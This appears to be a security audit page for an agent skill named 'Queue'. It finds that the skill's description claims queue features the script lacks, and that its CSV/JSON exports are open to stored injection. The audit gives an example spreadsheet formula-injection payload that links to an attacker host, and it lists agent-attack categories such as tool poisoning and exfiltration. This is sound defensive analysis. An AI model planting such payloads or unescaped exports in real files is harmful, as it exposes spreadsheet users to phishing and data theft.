Back to skill

Security audit

Queue

Security checks for vulnerabilities and agentic risk

Overview

The skill is not malware, but it needs Review because it advertises queue and retry management while the script mainly stores free-form text logs locally.

Install only if you want a simple local text-log tracker, not a real message queue with retries or delivery guarantees. Avoid storing secrets or sensitive operational payloads in it, and treat CSV/JSON exports carefully, especially before opening CSV files in spreadsheets.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/script.sh:64
Finding

Unescaped User Input in JSON and CSV Exports

Content
View full analysis
> "$out" done < "$f" done echo "" >> "$out" echo "]" >> "$out" ;; csv) echo "type,time,value" > "$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out" ``` ### Technical Analysis Queue commands store attacker-controlled arguments in log files. The export implementation later inserts those values directly into JSON and CSV output without format-specific escaping. For JSON exports, characters such as double quotes, backslashes, control characters, and embedded newlines are not JSON-encoded. A crafted queue value can therefore corrupt the generated document or inject additional JSON properties or objects. For CSV exports, fields are not quoted and embedded quotes, commas, or newlines are not escaped. More importantly, values beginning with spreadsheet formula prefixes such as `=`, `+`, `-`, or `@` remain executable formulas in spreadsheet applications that support formula evaluation. This is a stored injection issue: the malicious value is first persisted through a queue command and is subsequently transferred into an exported file. ### Attack Path 1. An attacker causes a crafted value to be added to the queue, for example: ```bash queue add '=HYPERLINK("https://attacker.example/collect","Open report")' ``` 2. The value is stored in `~/.local/share/queue/add.log`. 3. A user generates a CSV export: ```bash queue export csv ``` 4. The script copies the value into `export.csv` without quoting or formula neutralization. 5. The user opens the export in a spreadsheet application. 6. Depending on the spreadsheet applicat ...[truncated 1283 chars]
Remediation
View remediation
Vulnerability Patterns
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (5)

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The declared description suggests an operational message-queue tool with queue/job semantics, priorities, retries, delivery tracking, and failed-item handling. The code does not implement a queue system at all: it simply appends free-form user input to local text log files by category and can display/export/search those logs. Commands like add/plan/track/review/prioritize are only labels for note-taking buckets, not queue operations. There is no retry engine, scheduling/backoff logic, job state machine, priority ordering, processing, dispatch, or failure handling. The primary purpose is therefore materially different from the declaration, and the code also exposes additional unrelated productivity/logging capabilities not described.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The implementation materially contradicts the declared purpose of a queue-management skill: instead of handling queues, priorities, retries, or delivery state, it stores arbitrary user input in local log files as a generic productivity tracker. This kind of capability mismatch is dangerous because users and higher-level agents may grant trust, invoke it with sensitive operational data, or rely on it for queue workflows that are not actually enforced, leading to data exposure and unsafe automation assumptions.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The file header and help output explicitly describe the tool as a productivity toolkit, which conflicts with the manifest's queue-management description. This inconsistency undermines trust boundaries and can mislead operators, reviewers, or agent frameworks about what the tool does and what data it may collect or retain.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The script exposes unrelated productivity commands such as streak, remind, timeline, and weekly-review that are not justified by the advertised queue-management function. Extra undeclared capabilities expand the attack surface and increase the chance that users or orchestrators send sensitive data to a tool whose storage and behavior they do not expect.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

When users invoke commands like add, the script silently persists arbitrary input to files under ~/.local/share/queue and also appends activity to history.log without prominent upfront disclosure. In a skill context, this is risky because users may provide operational notes, queue payloads, or other sensitive content assuming transient processing, resulting in unintended local retention.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.